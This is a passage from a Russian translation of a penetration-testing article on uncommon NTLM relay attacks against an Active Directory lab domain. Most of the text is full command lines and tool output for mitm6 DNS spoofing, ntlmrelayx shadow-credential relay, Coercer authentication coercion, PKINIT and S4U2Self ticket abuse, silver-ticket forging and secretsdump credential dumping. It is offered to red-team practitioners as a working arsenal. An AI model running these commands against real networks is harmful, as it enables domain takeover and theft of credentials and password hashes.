[*] Setting up SMB Server
[*] Setting up HTTP Server on port 80
[*] Setting up WCF Server
[*] Setting up RAW Server on port 6666
[*] Servers started, waiting for connections
Далее, в отдельном терминале запустите mitm6 для выполнения отравления DHCPv6 и спуфинга DNS.
Код: Скопировать в буфер обмена
Код:
# mitm6 -i eth0 -d babysteps.domain
Starting mitm6 using the following configuration:
Primary adapter: eth0 [bc:24:11:00:3d:8b]
IPv4 address: 10.2.10.1
IPv6 address: fe80::be24:11ff:fe00:3d8b
DNS local search domain: babysteps.domain
DNS allowlist: babysteps.domain
IPv6 address fe80::10:2:10:21 is now assigned to mac=bc:24:11:6c:81:cc host=LA-WIN11-22H2-1.babysteps.domain. ipv4=10.2.10.21
Sent spoofed reply for wpad.babysteps.domain. to fe80::f410:b348:6aa5:7cb3
Sent spoofed reply for wpad-lab.babysteps.domain. to fe80::f410:b348:6aa5:7cb3
После короткого ожидания мы получаем HTTP-соединение от учетной записи компьютера LA-WIN11-22H2-1$ вместе с его учетными данными NTLM. Эти учетные данные затем передаются на службу LDAP контроллера домена, и атрибут msDS-KeyCredentialLink переданной учетной записи компьютера обновляется.
Код: Скопировать в буфер обмена
Код:
[*] HTTPD(80): Client requested path: /wpad.dat
[*] HTTPD(80): Client requested path: /wpad.dat
[*] HTTPD(80): Serving PAC file to client ::ffff:10.2.10.21
[*] HTTPD(80): Client requested path: http://www.msftconnecttest.com/connecttest.txt
[*] HTTPD(80): Authenticating against ldap://10.2.10.11 as BABYSTEPS/LA-WIN11-22H2-1$ SUCCEED
[*] Searching for the target account
[*] Target user found: CN=LA-WIN11-22H2-1,OU=Workstations,DC=babysteps,DC=domain
[*] Generating certificate
[*] Certificate generated
[*] Generating KeyCredential
[*] KeyCredential generated with DeviceID: fb99a0b1-1764-85e7-0e44-f3ddecd179ab
[*] Updating the msDS-KeyCredentialLink attribute of LA-WIN11-22H2-1$
[*] Updated the msDS-KeyCredentialLink attribute of the target object
[*] Saved PFX (#PKCS12) certificate & key at path: F0COeLZL.pfx
[*] Must be used with password: 5k55VL7oiSAaVuR7S4XH
[*] A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools
[*] Run the following command to obtain a TGT
[*] python3 PKINITtools/gettgtpkinit.py -cert-pfx F0COeLZL.pfx -pfx-pass 5k55VL7oiSAaVuR7S4XH babysteps.domain/LA-WIN11-22H2-1$ F0COeLZL.ccache
Теперь мы можем использовать сертификат и закрытый ключ вместе с аутентификацией PKINIT, чтобы получить TGT для учетной записи компьютера LA-WIN11-22H2-1$. Для этого шага мы воспользуемся скриптом gettgtpkinit.py из репозитория PKINITtools от @_dirkjan.
Код: Скопировать в буфер обмена
Код:
# python3 ./gettgtpkinit.py -cert-pfx /root/F0COeLZL.pfx -pfx-pass 5k55VL7oiSAaVuR7S4XH -dc-ip 10.2.10.11 'babysteps.domain/LA-WIN11-22H2-1$' /root/F0COeLZL.ccache
2024-05-09 09:45:35,778 minikerberos INFO Loading certificate and key from file
INFO:minikerberos:Loading certificate and key from file
2024-05-09 09:45:35,789 minikerberos INFO Requesting TGT
INFO:minikerberos:Requesting TGT
2024-05-09 09:45:35,805 minikerberos INFO AS-REP encryption key (you might need this later):
INFO:minikerberos:AS-REP encryption key (you might need this later):
2024-05-09 09:45:35,805 minikerberos INFO 5c040fae6f674d6e702b7c8e3cd1b257c106d0ce7e9a8b8a6fcbc382e4ff10c4
INFO:minikerberos:5c040fae6f674d6e702b7c8e3cd1b257c106d0ce7e9a8b8a6fcbc382e4ff10c4
2024-05-09 09:45:35,807 minikerberos INFO Saved TGT to file
INFO:minikerberos:Saved TGT to file
После получения TGT переданной учетной записи компьютера есть два варианта для получения привилегированного доступа к этой системе:
- Используйте TGT и процесс Kerberos S4U2Self, чтобы выдать себя за учетную запись привилегированного пользователя для произвольной службы на хосте.
- Извлеките NT-хеш учетной записи компьютера из полученного TGT и создайте «серебряный билет» (silver ticket), чтобы выдать себя за учетную запись привилегированного пользователя для произвольной службы на хосте.
S4U2Self
Для этого шага нам понадобится инструмент gets4uticket.py из того же репозитория PKINITtools, откуда мы взяли скрипт gettgtpkinit.py. Синтаксис команды довольно сложный, поэтому обратите внимание на все параметры. Выходной файл, сохраненный как «administrator-cifs.ccache», будет представлять собой TGS-билет CIFS для пользователя administrator@babysteps.domain на хост LA-WIN11-22H2-1$.
Код: Скопировать в буфер обмена
# python3 ./gets4uticket.py kerberos+ccache://babysteps.domain\\LA-WIN11-22H2-1\$:F0COeLZL.ccache@10.2.10.11 CIFS/LA-WIN11-22H2-1.babysteps.domain@babysteps.domain administrator@babysteps.domain administrator-cifs.ccache
Для завершения этой атаки мы устанавливаем переменную окружения KRB5CCNAME для использования билета CIFS, а затем используем инструмент secretsdump из Impacket для получения учетных данных с системы LA-WIN11-22H2-1.
Код: Скопировать в буфер обмена
Код:
# export KRB5CCNAME=/opt/tools/PKINITtools/administrator-cifs.ccache
# klist
Ticket cache: FILE:/opt/tools/PKINITtools/administrator-cifs.ccache
Default principal: LA-WIN11-22H2-1$@BABYSTEPS.DOMAIN
Valid starting Expires Service principal
05/09/24 09:45:35 05/09/24 19:45:35 krbtgt/BABYSTEPS.DOMAIN@BABYSTEPS.DOMAIN
05/09/24 10:02:41 05/09/24 19:45:35 CIFS/LA-WIN11-22H2-1.babysteps.domain@BABYSTEPS.DOMAIN
for client administrator@babysteps.domain
# secretsdump.py -k -no-pass LA-WIN11-22H2-1.babysteps.domain
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Service RemoteRegistry is in stopped state
[*] Service RemoteRegistry is disabled, enabling it
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x70dbf3603437de39da5015f1a8216a97
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:9e4e8b74ff693eda4db3b46084209c45:::
localuser:1000:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::
[*] Dumping cached domain logon information (domain/username:hash)
BABYSTEPS.DOMAIN/domainuser:$DCC2$10240#domainuser#52de9526af33a9a8b8ee60413492e474: (2024-05-09 11:40:48)
.. SNIP ..
Создание «серебряного билета»
Чтобы создать собственный «серебряный билет» для службы на хосте LA-WIN11-22H2-1, нам потребуется NT-хеш этого хоста для запроса TGT. Чтобы получить этот NT-хеш, мы можем выполнить технику UnPAC the hash с помощью инструмента getnthash.py из репозитория PKINITtools. Обратите внимание, что значение «-key», используемое в команде, является ключом шифрования AS-REP, который был выведен в результате выполнения предыдущей команды gettgtpkinit.py.
Код: Скопировать в буфер обмена
Код:
# export KRB5CCNAME=/opt/tools/PKINITtools/F0COeLZL.ccache
# klist
Ticket cache: FILE:/opt/tools/PKINITtools/F0COeLZL.ccache
Default principal: LA-WIN11-22H2-1$@BABYSTEPS.DOMAIN
Valid starting Expires Service principal
05/09/24 09:45:35 05/09/24 19:45:35 krbtgt/BABYSTEPS.DOMAIN@BABYSTEPS.DOMAIN
# python3 ./getnthash.py -dc-ip 10.2.10.11 -key 5c040fae6f674d6e702b7c8e3cd1b257c106d0ce7e9a8b8a6fcbc382e4ff10c4 'babysteps.domain/LA-WIN11-22H2-1$'
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Using TGT from cache
[*] Requesting ticket to self with PAC
Recovered NT Hash
1d71869aed329543b37a520096015ee6
Теперь, когда у нас есть NT-хеш учетной записи компьютера LA-WIN11-22H2-1$, мы можем использовать его в качестве ключа шифрования RC4 для создания «серебряного билета» для этой системы с помощью инструмента ticketer.py из Impacket.
Одной из необходимых деталей для создания «серебряного билета» является SID целевого домена. Существует множество способов получить это значение, и в данном примере я использую инструмент pywerview, чтобы извлечь SID учетной записи babysteps\administrator. SID самого домена будет содержаться внутри SID этой учетной записи, так что это своего рода короткий путь к нужному нам значению.
Код: Скопировать в буфер обмена
Код:
# python3 ./pywerview.py get-adobject -d babysteps.domain -u domainuser -p 'password' -t 10.2.10.11 --sam-account-name administrator --attributes objectsid
objectsid: S-1-5-21-3396363035-2530258332-185159541-500
Теперь у нас есть все данные, необходимые для создания «серебряного билета». В этом примере мы создадим «серебряный билет» для службы CIFS от имени пользователя babysteps\administrator.
Код: Скопировать в буфер обмена
Код:
# ticketer.py -domain babysteps.domain -domain-sid S-1-5-21-3396363035-2530258332-185159541 -nthash 1d71869aed329543b37a520096015ee6 -spn cifs/LA-WIN11-22H2
-1.babysteps.domain administrator
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for babysteps.domain/administrator
[*] PAC_LOGON_INFO
[*] PAC_CLIENT_INFO_TYPE
[*] EncTicketPart
[*] EncTGSRepPart
[*] Signing/Encrypting final ticket
[*] PAC_SERVER_CHECKSUM
[*] PAC_PRIVSVR_CHECKSUM
[*] EncTicketPart [*] EncTGSRepPart
[*] Saving ticket in administrator.ccache
Наконец, мы установим переменную окружения KRB5CCNAME и используем secretsdump для извлечения учетных данных из реестра системы LA-WIN11-22H2-1.
Код: Скопировать в буфер обмена
Код:
# export KRB5CCNAME=/opt/tools/PKINITtools/administrator.ccache
# klist
Ticket cache: FILE:/opt/tools/PKINITtools/administrator.ccache
Default principal: administrator@BABYSTEPS.DOMAIN
Valid starting Expires Service principal
05/09/24 14:55:36 05/07/34 14:55:36 cifs/LA-WIN11-22H2-1.babysteps.domain@BABYSTEPS.DOMAIN
renew until 05/07/34 14:55:36
# secretsdump.py -k -no-pass LA-WIN11-22H2-1.babysteps.domain
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Service RemoteRegistry is in stopped state
[*] Service RemoteRegistry is disabled, enabling it
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x70dbf3603437de39da5015f1a8216a97
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
.. SNIP ..
Атака 5: Атака с использованием теневых учетных данных с использованием предварительных учетных данных
Эта атака очень похожа на предыдущую, с той лишь разницей, что в данном случае мы уже скомпрометировали учетные данные как минимум одного пользователя или компьютера в домене. Это открывает возможность использовать методы принудительной аутентификации, такие как PetitPotam, Printer Bug или другие методы, основанные на протоколах Microsoft, такие как те, что реализованы в инструменте Coercer. Это позволяет расширить наши атаки с релеингом NTLM за пределы локальной подсети, давая возможность атаковать системы по всей целевой среде.
Для достижения этой цели мы будем полагаться на злоупотребление службой WebClient для принуждения HTTP-аутентификации с рабочих станций Windows. Обратите внимание, что серверные версии Windows по умолчанию не имеют этой службы, однако рабочие станции, такие как Windows 10 и 11, имеют установленную службу.
Вот общий обзор того, как работает эта атака:
- Мы находим хост, на котором запущена служба WebClient. Это означает, что мы можем злоупотребить этой службой, чтобы принудить NTLM-аутентификацию с учетной записи этого компьютера по протоколу HTTP и передать ее на службу LDAP контроллера домена (в отличие от аутентификации SMB, которая не может быть передана на LDAP).
- После успешной передачи учетных данных на LDAP мы обновим атрибут msDS-KeyCredentialLink этой учетной записи компьютера, добавив наш собственный DeviceID и открытый ключ, сохраняя при этом файл закрытого ключа и сертификата на диск.
- Lastly, we can use PKINIT authentication to obtain a TGT for the relayed computer account and use either S4U2Self or a silver ticket to compromise that system.
Код: Скопировать в буфер обмена
Код:
# nxc smb 10.2.10.21 -d babysteps.domain -u domainuser -p 'password' -M webdav
SMB 10.2.10.21 445 LA-WIN11-22H2-1 [*] Windows 11 Build 22621 x64 (name:LA-WIN11-22H2-1) (domain:babysteps.domain) (signing:False) (SMBv1:False)
SMB 10.2.10.21 445 LA-WIN11-22H2-1 [+] babysteps.domain\domainuser:password
WEBDAV 10.2.10.21 445 LA-WIN11-22H2-1 WebClient Service enabled on: 10.2.10.21
Затем мы добавим DNS-запись в домен, которая указывает на нашу атакующую систему на Linux. Для этого шага я рекомендую использовать dnstool.py из репозитория krbrelayx. Эта DNS-запись необходима, чтобы целевая система считала нашу машину частью «Intranet Zone», что приведет к тому, что система отправит свои учетные данные NTLM в ответ на атаку принуждения аутентификации с помощью WebClient. Если мы попытаемся выполнить принуждение аутентификации, используя наш IP-адрес, мы не получим никаких учетных данных.
Код: Скопировать в буфер обмена
Код:
# python3 dnstool.py -u 'babysteps.domain\domainuser' -p 'password' -a add -r attacker -d 10.2.10.1 10.2.10.11
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding new record
[+] LDAP operation completed successfully
# host attacker.babysteps.domain
attacker.babysteps.domain has address 10.2.10.1
Затем мы используем ntlmrelayx с соответствующими флагами, связанными с атакой теневых учетных данных.
Код: Скопировать в буфер обмена
Код:
# ntlmrelayx.py -t ldap://10.2.10.11 --shadow-credentials --shadow-target 'LA-WIN11-22H2-1$' --no-validate-privs --no-dump --no-da
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Protocol Client MSSQL loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client RPC loaded..
[*] Protocol Client SMTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client DCSYNC loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client LDAPS loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server
[*] Setting up HTTP Server on port 80
[*] Setting up WCF Server
[*] Setting up RAW Server on port 6666
[*] Servers started, waiting for connections
Затем используйте Coercer для запуска попытки HTTP-аутентификации.
Код: Скопировать в буфер обмена
Код:
# python3 ./Coercer.py coerce --auth-type http -l attacker -t 10.2.10.21 -d babysteps.domain -u domainuser -p 'password' --filter-protocol-name MS-EFS
______
/ ____/___ ___ _____________ _____
/ / / __ \/ _ \/ ___/ ___/ _ \/ ___/
/ /___/ /_/ / __/ / / /__/ __/ / v2.4.3
\____/\____/\___/_/ \___/\___/_/ by @podalirius_
[info] Starting coerce mode
[info] Scanning target 10.2.10.21
[*] DCERPC portmapper discovered ports: 49664,49665,49666,49667,49668,49669,49670,49671,49672
[+] SMB named pipe '\PIPE\efsrpc' is accessible!
[+] Successful bind to interface (df1941c5-fe89-4e79-bf10-463657acf44d, 1.0)!
[+] (ERROR_BAD_NETPATH) MS-EFSR──>EfsRpcAddUsersToFile(FileName='\\attacker@80/ryz\share\file.txt\x00')
Continue (C) | Skip this function (S) | Stop exploitation (X) ? X
[+] All done! Bye Bye!
После успешного принуждения аутентификации мы получаем аутентифицированное HTTP-соединение от учетной записи компьютера LA-WIN11-22H2-1$, передаем его на службу LDAP контроллера домена и изменяем атрибут msDS-KeyCredentialLink этой учетной записи компьютера.
Код: Скопировать в буфер обмена
Код:
# ntlmrelayx.py -t ldap://10.2.10.11 --shadow-credentials --shadow-target 'LA-WIN11-22H2-1$' --no-validate-privs --no-dump --no-da
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Protocol Client MSSQL loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client RPC loaded..
[*] Protocol Client SMTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client DCSYNC loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client LDAPS loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server
[*] Setting up HTTP Server on port 80
[*] Setting up WCF Server
[*] Setting up RAW Server on port 6666
[*] Servers started, waiting for connections
[*] HTTPD(80): Connection from 10.2.10.21 controlled, attacking target ldap://10.2.10.11
[*] HTTPD(80): Authenticating against ldap://10.2.10.11 as BABYSTEPS/LA-WIN11-22H2-1$ SUCCEED
[*] Searching for the target account
[*] Target user found: CN=LA-WIN11-22H2-1,OU=Workstations,DC=babysteps,DC=domain
[*] Generating certificate
[*] HTTPD(80): Connection from 10.2.10.21 controlled, but there are no more targets left!
[*] Certificate generated
[*] Generating KeyCredential
[*] KeyCredential generated with DeviceID: d30f1f28-2ac7-0094-dba3-889e44050e75
[*] Updating the msDS-KeyCredentialLink attribute of LA-WIN11-22H2-1$
[*] Updated the msDS-KeyCredentialLink attribute of the target object
[*] Saved PFX (#PKCS12) certificate & key at path: jvOs1DVT.pfx
[*] Must be used with password: 874guT1ctGMTqvqm7NND
[*] A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools
[*] Run the following command to obtain a TGT
[*] python3 PKINITtools/gettgtpkinit.py -cert-pfx jvOs1DVT.pfx -pfx-pass 874guT1ctGMTqvqm7NND babysteps.domain/LA-WIN11-22H2-1$ jvOs1DVT.ccache
Отсюда мы можем следовать тем же шагам, что и в предыдущем примере атаки — либо вариант с S4U2Self, либо вариант с «серебряным билетом». Чтобы подвести итог, эта атака очень похожа на популярную атаку с делегированием на основе ресурсов Kerberos (как описано здесь и здесь), но имеет преимущество в том, что не требует создания новой учетной записи компьютера или предварительной компрометации существующей.
Заключение
Надеюсь, этот пост подчеркнул некоторые возможности атак с релеингом NTLM, которые в противном случае остались бы незамеченными. Моя цель заключалась в том, чтобы добавление этих методов в арсенал специалистов по атакующей безопасности позволило лучше оценивать безопасность внутренних сетей во время тестов на проникновение и мероприятий красной команды, что в конечном итоге приведет к созданию более безопасной среды для наших клиентов.
Оригинальная статья: Beyond the Basics: Exploring Uncommon NTLM Relay Attack Techniques
Переведено: S3VE7N